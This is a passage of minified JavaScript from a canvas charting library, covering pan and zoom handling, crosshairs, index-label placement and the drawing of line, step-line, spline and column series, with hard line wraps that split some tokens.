+)this.axisY2[k].crosshair&&this.axisY2[k].crosshair.enabled&&this.axisY2[k].render
Crosshair(a,
d)}};p.prototype._plotAreaMouseMove=function(a,d){if(this.isDrag&&"none"!
==this.plotInfo.axisPlacement){var
b=0,c=0,e=b=null,e=0<=this.zoomType.indexOf("x"),g=0<=this.zoomType.indexOf("y"),k=
this;"xySwapped"===this.plotInfo.axisPlacement&&(b=g,g=e,e=b);b=this.dragStartPoint
.x-a;c=this.dragStartPoint.y-d;2<Math.abs(b)&&8>Math.abs(b)&&(this.panEnabled||
this.zoomEnabled)?this.toolTip.hide():this.panEnabled||this.zoomEnabled||
this.toolTip.mouseMoveHandler(a,d);if((!e||2<Math.abs(b)||!g||2<Math.abs(c))&&
(this.panEnabled||this.zoomEnabled))if(this.panEnabled)e={x1:e?
this.plotArea.x1+b:this.plotArea.x1,y1:g?this.plotArea.y1+c:this.plotArea.y1,x2:e?
this.plotArea.x2+b:this.plotArea.x2,y2:g?
this.plotArea.y2+c:this.plotArea.y2},clearTimeout(k._panTimerId),k._panTimerId=setT
imeout(function(c,b,e,f){return function(){k._zoomPanToSelectedRegion(c,b,e,f,!
0)&&(k._dispatchRangeEvent("rangeChanging","pan"),k.render(),k._dispatchRangeEvent(
"rangeChanged","pan"),k.dragStartPoint.x=a,k.dragStartPoint.y=d)}}(e.x1,
e.y1,e.x2,e.y2),0);else if(this.zoomEnabled)
{this.resetOverlayedCanvas();b=this.overlaidCanvasCtx.globalAlpha;this.overlaidCanv
asCtx.fillStyle="#A89896";var c=e?this.dragStartPoint.x:this.plotArea.x1,l=g?
this.dragStartPoint.y:this.plotArea.y1,w=e?a-
this.dragStartPoint.x:this.plotArea.x2-this.plotArea.x1,m=g?d-
this.dragStartPoint.y:this.plotArea.y2-this.plotArea.y1;this.validateRegion(c,l,e?
a:this.plotArea.x2-this.plotArea.x1,g?d:this.plotArea.y2-this.plotArea.y1,"xy"!
==this.zoomType).isValid&&(this.resetOverlayedCanvas(),
this.overlaidCanvasCtx.fillStyle="#99B2B5");this.overlaidCanvasCtx.globalAlpha=0.7;
this.overlaidCanvasCtx.fillRect(c,l,w,m);this.overlaidCanvasCtx.globalAlpha=b}}else
if(this.toolTip.mouseMoveHandler(a,d),"none"!==this.plotInfo.axisPlacement)
{if(this.axisX&&0<this.axisX.length)for(e=0;e<this.axisX.length;e+
+)this.axisX[e].crosshair&&this.axisX[e].crosshair.enabled&&this.axisX[e].renderCro
sshair(a,d);if(this.axisX2&&0<this.axisX2.length)for(e=0;e<this.axisX2.length;e+
+)this.axisX2[e].crosshair&&this.axisX2[e].crosshair.enabled&&
this.axisX2[e].renderCrosshair(a,d);if(this.axisY&&0<this.axisY.length)for(e=0;e<th
is.axisY.length;e+
+)this.axisY[e].crosshair&&this.axisY[e].crosshair.enabled&&this.axisY[e].renderCro
sshair(a,d);if(this.axisY2&&0<this.axisY2.length)for(e=0;e<this.axisY2.length;e+
+)this.axisY2[e].crosshair&&this.axisY2[e].crosshair.enabled&&this.axisY2[e].render
Crosshair(a,d)}};p.prototype._zoomPanToSelectedRegion=function(a,d,b,c,e)
{a=this.validateRegion(a,d,b,c,e);d=a.axesWithValidRange;b=a.axesRanges;if(a.isVali
d)for(c=
0;c<d.length;c+
+)e=b[c],d[c].setViewPortRange(e.val1,e.val2),this.syncCharts&&this.syncCharts(e.va
l1,e.val2);return a.isValid};p.prototype.validateRegion=function(a,d,b,c,e){e=e||!
1;for(var g=0<=this.zoomType.indexOf("x"),k=0<=this.zoomType.indexOf("y"),l=!
1,w=[],m=[],s=[],q=0;q<this._axes.length;q++)
("axisX"===this._axes[q].type&&g||"axisY"===this._axes[q].type&&k)&&m.push(this._ax
es[q]);for(k=0;k<m.length;k++){var q=m[k],g=!
1,n=q.convertPixelToValue({x:a,y:d}),f=q.convertPixelToValue({x:b,y:c});
if(n>f)var B=f,f=n,n=B;if(q.scaleBreaks)for(B=0;!
g&&B<q.scaleBreaks._appliedBreaks.length;B+
+)g=q.scaleBreaks._appliedBreaks[B].startValue<=n&&q.scaleBreaks._appliedBreaks[B].
endValue>=f;if(isFinite(q.dataInfo.minDiff))if(B=q.getApparentDifference(n,f,null,!
0),!(g||!
(this.panEnabled&&q.scaleBreaks&&q.scaleBreaks._appliedBreaks.length)&&(q.logarithm
ic&&B<Math.pow(q.dataInfo.minDiff,3)||!
q.logarithmic&&B<3*Math.abs(q.dataInfo.minDiff))||n<q.minimum||
f>q.maximum))w.push(q),s.push({val1:n,val2:f}),l=
!0;else if(!e){l=!
1;break}}return{isValid:l,axesWithValidRange:w,axesRanges:s}};p.prototype.preparePl
otArea=function(){var a=this.plotArea;!r&&(0<a.x1||
0<a.y1)&&a.ctx.translate(a.x1,a.y1);if((this.axisX[0]||
this.axisX2[0])&&(this.axisY[0]||this.axisY2[0])){var d=this.axisX[0]?
this.axisX[0].lineCoordinates:this.axisX2[0].lineCoordinates;if(this.axisY&&0<this.
axisY.length&&this.axisY[0]){var b=this.axisY[0];a.x1=d.x1<d.x2?
d.x1:b.lineCoordinates.x1;a.y1=d.y1<b.lineCoordinates.y1?d.y1:b.lineCoordinates.y1;
a.x2=d.x2>b.lineCoordinates.x2?d.x2:b.lineCoordinates.x2;a.y2=d.y2>d.y1?
d.y2:b.lineCoordinates.y2;a.width=a.x2-a.x1;a.height=a.y2-
a.y1}this.axisY2&&0<this.axisY2.length&&this.axisY2[0]&&(b=this.axisY2[0],a.x1=d.x1
<d.x2?d.x1:b.lineCoordinates.x1,a.y1=d.y1<b.lineCoordinates.y1?
d.y1:b.lineCoordinates.y1,a.x2=d.x2>b.lineCoordinates.x2?
d.x2:b.lineCoordinates.x2,a.y2=d.y2>d.y1?d.y2:b.lineCoordinates.y2,a.width=a.x2-
a.x1,a.height=a.y2-a.y1)}else
d=this.layoutManager.getFreeSpace(),a.x1=d.x1,a.x2=d.x2,a.y1=
d.y1,a.y2=d.y2,a.width=d.width,a.height=d.height;r||
(a.canvas.width=a.width,a.canvas.height=a.height,a.canvas.style.left=a.x1+"px",a.ca
nvas.style.top=a.y1+"px",(0<a.x1||0<a.y1)&&a.ctx.translate(-a.x1,-
a.y1));a.layoutManager=new
Ga(a.x1,a.y1,a.x2,a.y2,2)};p.prototype.renderIndexLabels=function(a){var d=a||
this.plotArea.ctx,b=this.plotArea,c=0,e=0,g=0,k=0,l=c=k=e=g=0,w=0;for(a=0;a<this._i
ndexLabels.length;a++){var
m=this._indexLabels[a],s=m.chartType.toLowerCase(),q,n,l=na("indexLabelFontColor",m
.dataPoint,
m.dataSeries),w=na("indexLabelFontSize",m.dataPoint,m.dataSeries);q=na("indexLabelF
ontFamily",m.dataPoint,m.dataSeries);n=na("indexLabelFontStyle",m.dataPoint,m.dataS
eries);var
k=na("indexLabelFontWeight",m.dataPoint,m.dataSeries),f=na("indexLabelBackgroundCol
or",m.dataPoint,m.dataSeries),e=na("indexLabelMaxWidth",m.dataPoint,m.dataSeries),g
=na("indexLabelWrap",m.dataPoint,m.dataSeries),B=na("indexLabelLineDashType",m.data
Point,m.dataSeries),h=na("indexLabelLineColor",m.dataPoint,m.dataSeries),p=
u(m.dataPoint.indexLabelLineThickness)?
u(m.dataSeries.options.indexLabelLineThickness)?
0:m.dataSeries.options.indexLabelLineThickness:m.dataPoint.indexLabelLineThickness,
c=0<p?Math.min(10,("normal"===this.plotInfo.axisPlacement?
this.plotArea.height:this.plotArea.width)<<0):0,t={percent:null,total:null},C=null;
if(0<=m.dataSeries.type.indexOf("stacked")||"pie"===m.dataSeries.type||"doughnut"==
=m.dataSeries.type)t=this.getPercentAndTotal(m.dataSeries,m.dataPoint);if(m.dataSer
ies.indexLabelFormatter||
m.dataPoint.indexLabelFormatter)C={chart:this,dataSeries:m.dataSeries,dataPoint:m.d
ataPoint,index:m.indexKeyword,total:t.total,percent:t.percent};var
x=m.dataPoint.indexLabelFormatter?
m.dataPoint.indexLabelFormatter(C):m.dataPoint.indexLabel?
this.replaceKeywordsWithValue(m.dataPoint.indexLabel,m.dataPoint,m.dataSeries,null,
m.indexKeyword):m.dataSeries.indexLabelFormatter?
m.dataSeries.indexLabelFormatter(C):m.dataSeries.indexLabel?
this.replaceKeywordsWithValue(m.dataSeries.indexLabel,m.dataPoint,m.dataSeries,
null,m.indexKeyword):null;if(null!==x&&""!==x){var
t=na("indexLabelPlacement",m.dataPoint,m.dataSeries),C=na("indexLabelOrientation",m
.dataPoint,m.dataSeries),ma=m.direction,y=m.dataSeries.axisX,A=m.dataSeries.axisY,v
=!1,f=new ka(d,{x:0,y:0,maxWidth:e?e:0.5*this.width,maxHeight:g?
5*w:1.5*w,angle:"horizontal"===C?0:-
90,text:x,padding:0,backgroundColor:f,horizontalAlign:"left",fontSize:w,fontFamily:
q,fontWeight:k,fontColor:l,fontStyle:n,textBaseline:"top"});f.measureText();m.dataS
eries.indexLabelMaxWidth=
f.maxWidth;if("stackedarea100"===s){if(m.point.x<b.x1||m.point.x>b.x2||
m.point.y<b.y1-1||m.point.y>b.y2+1)continue}else
if("rangearea"===s||"rangesplinearea"===s){if(m.dataPoint.x<y.viewportMinimum||
m.dataPoint.x>y.viewportMaximum||
Math.max.apply(null,m.dataPoint.y)<A.viewportMinimum||
Math.min.apply(null,m.dataPoint.y)>A.viewportMaximum)continue}else
if(0<=s.indexOf("line")||0<=s.indexOf("area")||0<=s.indexOf("bubble")||
0<=s.indexOf("scatter")){if(m.dataPoint.x<y.viewportMinimum||
m.dataPoint.x>y.viewportMaximum||
m.dataPoint.y<A.viewportMinimum||m.dataPoint.y>A.viewportMaximum)continue}else
if(0<=s.indexOf("column")||"waterfall"===s||"error"===s&&!m.axisSwapped)
{if(m.dataPoint.x<y.viewportMinimum||m.dataPoint.x>y.viewportMaximum||
m.bounds.y1>b.y2||m.bounds.y2<b.y1)continue}else
if(0<=s.indexOf("bar")||"error"===s){if(m.dataPoint.x<y.viewportMinimum||
m.dataPoint.x>y.viewportMaximum||m.bounds.x1>b.x2||m.bounds.x2<b.x1)continue}else
if("candlestick"===s||"ohlc"===s){if(m.dataPoint.x<y.viewportMinimum||
m.dataPoint.x>
y.viewportMaximum||Math.max.apply(null,m.dataPoint.y)<A.viewportMinimum||
Math.min.apply(null,m.dataPoint.y)>A.viewportMaximum)continue}else
if(m.dataPoint.x<y.viewportMinimum||
m.dataPoint.x>y.viewportMaximum)continue;e=k=2;"horizontal"===C?
(l=f.width,w=f.height):
(w=f.width,l=f.height);if("normal"===this.plotInfo.axisPlacement)
{if(0<=s.indexOf("line")||0<=s.indexOf("area"))t="auto",k=4;else
if(0<=s.indexOf("stacked"))"auto"===t&&(t="inside");else
if("bubble"===s||"scatter"===s)t="inside";q=m.point.x-
l/2;"inside"!==t?(e=b.y1,g=b.y2,0<ma?(n=m.point.y-w-k-c,n<e&&(n="auto"===t?
Math.max(m.point.y,e)+k+c:e+k+c,v=n+w>m.point.y)):(n=m.point.y+k+c,n>g-w-k-
c&&(n="auto"===t?Math.min(m.point.y,g)-w-k-c:g-w-k-c,v=n<m.point.y))):
(e=Math.max(m.bounds.y1,b.y1),g=Math.min(m.bounds.y2,b.y2),c=0<=s.indexOf("range")|
|"error"===s?0<ma?Math.max(m.bounds.y1,b.y1)+w/2+k:Math.min(m.bounds.y2,b.y2)-w/2-
k:(Math.max(m.bounds.y1,b.y1)+Math.min(m.bounds.y2,b.y2))/2,0<ma?
(n=Math.max(m.point.y,c)-w/2,n<e&&("bubble"===s||"scatter"===
s)&&(n=Math.max(m.point.y-w-k,b.y1+k))):(n=Math.min(m.point.y,c)-w/2,n>g-w-
k&&("bubble"===s||"scatter"===s)&&(n=Math.min(m.point.y+k,b.y2-w-
k))),n=Math.min(n,g-w))}else 0<=s.indexOf("line")||0<=s.indexOf("area")||
0<=s.indexOf("scatter")?
(t="auto",e=4):0<=s.indexOf("stacked")?"auto"===t&&(t="inside"):"bubble"===s&&(t="i
nside"),n=m.point.y-w/2,"inside"!==t?(k=b.x1,g=b.x2,0>ma?(q=m.point.x-l-e-
c,q<k&&(q="auto"===t?Math.max(m.point.x,k)+e+c:k+e+c,v=q+l>m.point.x)):
(q=m.point.x+e+c,q>g-l-e-c&&(q="auto"===
t?Math.min(m.point.x,g)-l-e-c:g-l-e-c,v=q<m.point.x))):
(k=Math.max(m.bounds.x1,b.x1),Math.min(m.bounds.x2,b.x2),c=0<=s.indexOf("range")||"
error"===s?0>ma?Math.max(m.bounds.x1,b.x1)+l/2+e:Math.min(m.bounds.x2,b.x2)-l/2-e:
(Math.max(m.bounds.x1,b.x1)+Math.min(m.bounds.x2,b.x2))/2,q=0>ma?
Math.max(m.point.x,c)-l/2:Math.min(m.point.x,c)-
l/2,q=Math.max(q,k));"vertical"===C&&(n+=w);f.x=q;f.y=n;f.render(!0);p&&("inside"!
==t&&(0>s.indexOf("bar")&&("error"!==s||!
m.axisSwapped)&&m.point.x>b.x1&&m.point.x<b.x2||
!v)&&(0>s.indexOf("column")&&("error"!==s||
m.axisSwapped)&&m.point.y>b.y1&&m.point.y<b.y2||!
v))&&(d.lineWidth=p,d.strokeStyle=h?
h:"gray",d.setLineDash&&d.setLineDash(R(B,p)),d.beginPath(),d.moveTo(m.point.x,m.po
int.y),0<=s.indexOf("bar")||"error"===s&&m.axisSwapped?d.lineTo(q+(0<m.direction?
0:l),n+("horizontal"===C?w:-w)/2):0<=s.indexOf("column")||"error"===s&&!
m.axisSwapped?d.lineTo(q+l/2,n+((0<m.direction?w:-w)+("horizontal"===C?w:-
w))/2):d.lineTo(q+l/2,n+((n<m.point.y?w:-w)+("horizontal"===C?w:
-
w))/2),d.stroke())}}d={source:d,dest:this.plotArea.ctx,animationCallback:M.fadeInAn
imation,easingFunction:M.easing.easeInQuad,animationBase:0,startTimePercent:0.7};fo
r(a=0;a<this._indexLabels.length;a+
+)m=this._indexLabels[a],f=na("indexLabelBackgroundColor",m.dataPoint,m.dataSeries)
,m.dataSeries.indexLabelBackgroundColor=u(f)?r?"transparent":null:f;return
d};p.prototype.renderLine=function(a){var d=a.targetCanvasCtx||
this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=
this._eventManager.ghostCtx;b.save();var
e=this.plotArea;b.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();for(var
g=[],k,l=0;l<a.dataSeriesIndexes.length;l++){var
w=a.dataSeriesIndexes[l],m=this.data[w];b.lineWidth=m.lineThickness;var
s=m.dataPoints,q="solid";if(b.setLineDash){var
n=R(m.nullDataLineDashType,m.lineThickness),q=m.lineDashType,f=R(q,m.lineThickness)
;b.setLineDash(f)}var
B=m.id;this._eventManager.objectMap[B]={objectType:"dataSeries",dataSeriesIndex:w};
B=N(B);c.strokeStyle=B;
c.lineWidth=0<m.lineThickness?Math.max(m.lineThickness,4):0;var
B=m._colorSet,h=B=m.lineColor=m.options.lineColor?
m.options.lineColor:B[0];b.strokeStyle=B;var p=!
0,t=0,C,x;b.beginPath();if(0<s.length){for(var u=!1,t=0;t<s.length;t+
+)if(C=s[t].x.getTime?s[t].x.getTime():s[t].x,!(C<a.axisX.dataInfo.viewPortMin||
C>a.axisX.dataInfo.viewPortMax&&(!m.connectNullData||!u)))if("number"!==typeof
s[t].y)0<t&&!(m.connectNullData||u||p)&&(b.stroke(),r&&c.stroke()),u=!
0;else{C=a.axisX.convertValueToPixel(C);x=
a.axisY.convertValueToPixel(s[t].y);var
y=m.dataPointIds[t];this._eventManager.objectMap[y]={id:y,objectType:"dataPoint",da
taSeriesIndex:w,dataPointIndex:t,x1:C,y1:x};p||u?(!p&&m.connectNullData?
(b.setLineDash&&(m.options.nullDataLineDashType||
q===m.lineDashType&&m.lineDashType!
==m.nullDataLineDashType)&&(b.stroke(),b.beginPath(),b.moveTo(k.x,k.y),q=m.nullData
LineDashType,b.setLineDash(n)),b.lineTo(C,x),r&&c.lineTo(C,x)):
(b.beginPath(),b.moveTo(C,x),r&&(c.beginPath(),c.moveTo(C,x))),u=p=!1):(b.lineTo(C,
x),r&&c.lineTo(C,x),0==t
%500&&(b.stroke(),b.beginPath(),b.moveTo(C,x),r&&(c.stroke(),c.beginPath(),c.moveTo
(C,x))));k={x:C,y:x};t<s.length-1&&(h!==(s[t].lineColor||B)||q!
==(s[t].lineDashType||
m.lineDashType))&&(b.stroke(),b.beginPath(),b.moveTo(C,x),h=s[t].lineColor||
B,b.strokeStyle=h,b.setLineDash&&(s[t].lineDashType?
(q=s[t].lineDashType,b.setLineDash(R(q,m.lineThickness))):
(q=m.lineDashType,b.setLineDash(f))));if(0<s[t].markerSize||0<m.markerSize){var
A=m.getMarkerProperties(t,C,x,b);g.push(A);
y=N(y);r&&g.push({x:C,y:x,ctx:c,type:A.type,size:A.size,color:y,borderColor:y,borde
rThickness:A.borderThickness})}(s[t].indexLabel||m.indexLabel||
s[t].indexLabelFormatter||
m.indexLabelFormatter)&&this._indexLabels.push({chartType:"line",dataPoint:s[t],dat
aSeries:m,point:{x:C,y:x},direction:0>s[t].y===a.axisY.reversed?1:-
1,color:B})}b.stroke();r&&c.stroke()}}ia.drawMarkers(g);r&&(d.drawImage(this._preRe
nderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&
b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height),a.axisY.maskCanvas&&b.dr
awImage(a.axisY.maskCanvas,0,0,this.width,this.height),this._breaksCanvasCtx&&this.
_breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this.width,this.height),b.clea
rRect(e.x1,e.y1,e.width,e.height),c.beginPath());b.restore();b.beginPath();return{s
ource:d,dest:this.plotArea.ctx,animationCallback:M.xClipAnimation,easingFunction:M.
easing.linear,animationBase:0}}};p.prototype.renderStepLine=function(a){var
d=a.targetCanvasCtx||
this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=this._eventManager.ghostCtx;b.save();var
e=this.plotArea;b.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();for(var
g=[],k,l=0;l<a.dataSeriesIndexes.length;l++){var
w=a.dataSeriesIndexes[l],m=this.data[w];b.lineWidth=m.lineThickness;var
s=m.dataPoints,q="solid";if(b.setLineDash){var
n=R(m.nullDataLineDashType,m.lineThickness),q=m.lineDashType,f=R(q,m.lineThickness)
;b.setLineDash(f)}var B=m.id;this._eventManager.objectMap[B]=
{objectType:"dataSeries",dataSeriesIndex:w};B=N(B);c.strokeStyle=B;c.lineWidth=0<m.
lineThickness?Math.max(m.lineThickness,4):0;var
B=m._colorSet,h=B=m.lineColor=m.options.lineColor?
m.options.lineColor:B[0];b.strokeStyle=B;var p=!
0,t=0,C,x;b.beginPath();if(0<s.length){for(var u=!1,t=0;t<s.length;t+
+)if(C=s[t].getTime?s[t].x.getTime():s[t].x,!(C<a.axisX.dataInfo.viewPortMin||
C>a.axisX.dataInfo.viewPortMax&&(!m.connectNullData||!u)))if("number"!==typeof
s[t].y)0<t&&!(m.connectNullData||u||p)&&(b.stroke(),
r&&c.stroke()),u=!0;else{var
y=x;C=a.axisX.convertValueToPixel(C);x=a.axisY.convertValueToPixel(s[t].y);var
A=m.dataPointIds[t];this._eventManager.objectMap[A]={id:A,objectType:"dataPoint",da
taSeriesIndex:w,dataPointIndex:t,x1:C,y1:x};p||u?(!p&&m.connectNullData?
(b.setLineDash&&(m.options.nullDataLineDashType||
q===m.lineDashType&&m.lineDashType!
==m.nullDataLineDashType)&&(b.stroke(),b.beginPath(),b.moveTo(k.x,k.y),q=m.nullData
LineDashType,b.setLineDash(n)),b.lineTo(C,y),b.lineTo(C,x),r&&(c.lineTo(C,
y),c.lineTo(C,x))):
(b.beginPath(),b.moveTo(C,x),r&&(c.beginPath(),c.moveTo(C,x))),u=p=!1):
(b.lineTo(C,y),r&&c.lineTo(C,y),b.lineTo(C,x),r&&c.lineTo(C,x),0==t
%500&&(b.stroke(),b.beginPath(),b.moveTo(C,x),r&&(c.stroke(),c.beginPath(),c.moveTo
(C,x))));k={x:C,y:x};t<s.length-1&&(h!==(s[t].lineColor||B)||q!
==(s[t].lineDashType||
m.lineDashType))&&(b.stroke(),b.beginPath(),b.moveTo(C,x),h=s[t].lineColor||
B,b.strokeStyle=h,b.setLineDash&&(s[t].lineDashType?
(q=s[t].lineDashType,b.setLineDash(R(q,m.lineThickness))):
(q=m.lineDashType,b.setLineDash(f))));if(0<s[t].markerSize||
0<m.markerSize)y=m.getMarkerProperties(t,C,x,b),g.push(y),A=N(A),r&&g.push({x:C,y:x
,ctx:c,type:y.type,size:y.size,color:A,borderColor:A,borderThickness:y.borderThickn
ess});(s[t].indexLabel||m.indexLabel||s[t].indexLabelFormatter||
m.indexLabelFormatter)&&this._indexLabels.push({chartType:"stepLine",dataPoint:s[t]
,dataSeries:m,point:{x:C,y:x},direction:0>s[t].y===a.axisY.reversed?1:-
1,color:B})}b.stroke();r&&c.stroke()}}ia.drawMarkers(g);r&&
(d.drawImage(this._preRenderCanvas,0,0,this.width,this.height),b.globalCompositeOpe
ration="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),c.beginPath());b.restor
e();b.beginPath();return{source:d,dest:this.plotArea.ctx,animationCallback:M.xClipA
nimation,
easingFunction:M.easing.linear,animationBase:0}}};p.prototype.renderSpline=function
(a){function d(a){a=v(a,2);if(0<a.length)
{c.beginPath();r&&e.beginPath();c.moveTo(a[0].x,a[0].y);a[0].newStrokeStyle&&(c.str
okeStyle=a[0].newStrokeStyle);a[0].newLineDashArray&&c.setLineDash(a[0].newLineDash
Array);r&&e.moveTo(a[0].x,a[0].y);for(var b=0;b<a.length-
3;b+=3)if(c.bezierCurveTo(a[b+1].x,a[b+1].y,a[b+2].x,a[b+2].y,a[b+3].x,a[b+3].y),r&
&e.bezierCurveTo(a[b+1].x,a[b+1].y,a[b+2].x,a[b+2].y,a[b+3].x,a[b+3].y),
0<b&&0===b%3E3||a[b+3].newStrokeStyle||
a[b+3].newLineDashArray)c.stroke(),c.beginPath(),c.moveTo(a[b+3].x,a[b+3].y),a[b+3]
.newStrokeStyle&&(c.strokeStyle=a[b+3].newStrokeStyle),a[b+3].newLineDashArray&&c.s
etLineDash(a[b+3].newLineDashArray),r&&(e.stroke(),e.beginPath(),e.moveTo(a[b+3].x,
a[b+3].y));c.stroke();r&&e.stroke()}}var b=a.targetCanvasCtx||
this.plotArea.ctx,c=r?this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=this._eventManager.ghostCtx;c.save();var g=this.plotArea;c.beginPath();
c.rect(g.x1,g.y1,g.width,g.height);c.clip();for(var
k=[],l=0;l<a.dataSeriesIndexes.length;l++){var
w=a.dataSeriesIndexes[l],m=this.data[w];c.lineWidth=m.lineThickness;var
s=m.dataPoints,q="solid";if(c.setLineDash){var
n=R(m.nullDataLineDashType,m.lineThickness),q=m.lineDashType,f=R(q,m.lineThickness)
;c.setLineDash(f)}var
B=m.id;this._eventManager.objectMap[B]={objectType:"dataSeries",dataSeriesIndex:w};
B=N(B);e.strokeStyle=B;e.lineWidth=0<m.lineThickness?
Math.max(m.lineThickness,4):0;var B=m._colorSet,
h=B=m.lineColor=m.options.lineColor?m.options.lineColor:B[0];c.strokeStyle=B;var
p=0,t,u,x=[];c.beginPath();if(0<s.length)for(u=!1,p=0;p<s.length;p+
+)if(t=s[p].getTime?s[p].x.getTime():s[p].x,!(t<a.axisX.dataInfo.viewPortMin||
t>a.axisX.dataInfo.viewPortMax&&(!m.connectNullData||!u)))if("number"!==typeof
s[p].y)0<p&&!u&&(m.connectNullData?
c.setLineDash&&(0<x.length&&(m.options.nullDataLineDashType||!s[p-
1].lineDashType))&&(x[x.length-1].newLineDashArray=n,q=m.nullDataLineDashType):
(d(x),x=[])),u=!0;
else{t=a.axisX.convertValueToPixel(t);u=a.axisY.convertValueToPixel(s[p].y);var
ma=m.dataPointIds[p];this._eventManager.objectMap[ma]={id:ma,objectType:"dataPoint"
,dataSeriesIndex:w,dataPointIndex:p,x1:t,y1:u};x[x.length]={x:t,y:u};p<s.length-
1&&(h!==(s[p].lineColor||B)||q!==(s[p].lineDashType||
m.lineDashType))&&(h=s[p].lineColor||B,x[x.length-
1].newStrokeStyle=h,c.setLineDash&&(s[p].lineDashType?
(q=s[p].lineDashType,x[x.length-1].newLineDashArray=R(q,m.lineThickness)):
(q=m.lineDashType,x[x.length-
1].newLineDashArray=f)));if(0<s[p].markerSize||0<m.markerSize){var
y=m.getMarkerProperties(p,t,u,c);k.push(y);ma=N(ma);r&&k.push({x:t,y:u,ctx:e,type:y
.type,size:y.size,color:ma,borderColor:ma,borderThickness:y.borderThickness})}
(s[p].indexLabel||m.indexLabel||s[p].indexLabelFormatter||
m.indexLabelFormatter)&&this._indexLabels.push({chartType:"spline",dataPoint:s[p],d
ataSeries:m,point:{x:t,y:u},direction:0>s[p].y===a.axisY.reversed?1:-
1,color:B});u=!1}d(x)}ia.drawMarkers(k);r&&(b.drawImage(this._preRenderCanvas,
0,0,this.width,this.height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.clearRect(g.x1,g.y1,g.width,g.height),e.beginPath());c.restor
e();c.beginPath();return{source:b,dest:this.plotArea.ctx,animationCallback:M.xClipA
nimation,easingFunction:M.easing.linear,
animationBase:0}}};p.prototype.renderColumn=function(a){var d=a.targetCanvasCtx||
this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=0,k,l,w,m=a.axisY.convertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),g=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1,s=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:Math.min(0.15*this.width,
0.9*(this.plotArea.width/a.plotType.totalDataSeries))<<0,q=a.axisX.dataInfo.minDiff
;isFinite(q)||
(q=0.3*Math.abs(a.axisX.range));q=this.dataPointWidth=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.width*(a.axisX.logarithmic?
Math.log(q)/Math.log(a.axisX.range):Math.abs(q)/Math.abs(a.axisX.range))/a.plotType
.totalDataSeries)<<0;this.dataPointMaxWidth&&g>s&&(g=Math.min(this.options.dataPoin
tWidth?this.dataPointWidth:Infinity,s));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&s<g)&&(s=Math.max(this.options.dat
aPointWidth?
this.dataPointWidth:-
Infinity,g));q<g&&(q=g);q>s&&(q=s);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(s=0;s<a.dataSeriesIndexes.length;s++){var
n=a.dataSeriesIndexes[s],f=this.data[n],B=f.dataPoints;if(0<B.length)for(var
p=5<q&&f.bevelEnabled?!0:!1,g=0;g<B.length;g++)if(B[g].getTime?w=B[g].x.getTime():
w=B[g].x,!(w<a.axisX.dataInfo.viewPortMin||
w>a.axisX.dataInfo.viewPortMax)&&"number"===typeof B[g].y)
{k=a.axisX.convertValueToPixel(w);l=a.axisY.convertValueToPixel(B[g].y);k=a.axisX.r
eversed?k+a.plotType.totalDataSeries*q/2-(a.previousDataSeriesCount+s)*q<<0:k-
a.plotType.totalDataSeries*q/2+(a.previousDataSeriesCount+s)*q<<0;var
h=a.axisX.reversed?k-q<<0:k+q<<0,t;0<=B[g].y?t=m:
(t=l,l=m);l>t&&(c=l,l=t,t=c);c=B[g].color?B[g].color:f._colorSet[g
%f._colorSet.length];ea(b,k,l,h,t,c,0,null,p&&0<=B[g].y,
0>B[g].y&&p,!1,!
1,f.fillOpacity);c=f.dataPointIds[g];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:n,dataPointIndex:g,x1:k,y1:l,x2:h,y2:t};c=N(c);r&&ea
(this._eventManager.ghostCtx,k,l,h,t,c,0,null,!1,!1,!1,!1);(B[g].indexLabel||
f.indexLabel||B[g].indexLabelFormatter||
f.indexLabelFormatter)&&this._indexLabels.push({chartType:"column",dataPoint:B[g],d
ataSeries:f,point:{x:k+(h-k)/2,y:0>B[g].y===a.axisY.reversed?
l:t},direction:0>B[g].y===a.axisY.reversed?1:-1,bounds:{x1:k,
y1:Math.min(l,t),x2:h,y2:Math.max(l,t)},color:c})}}r&&(d.drawImage(this._preRenderC
anvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();
return{source:d,dest:this.plotArea.ctx,animationCallback:M.yScaleAnimation,easingFu
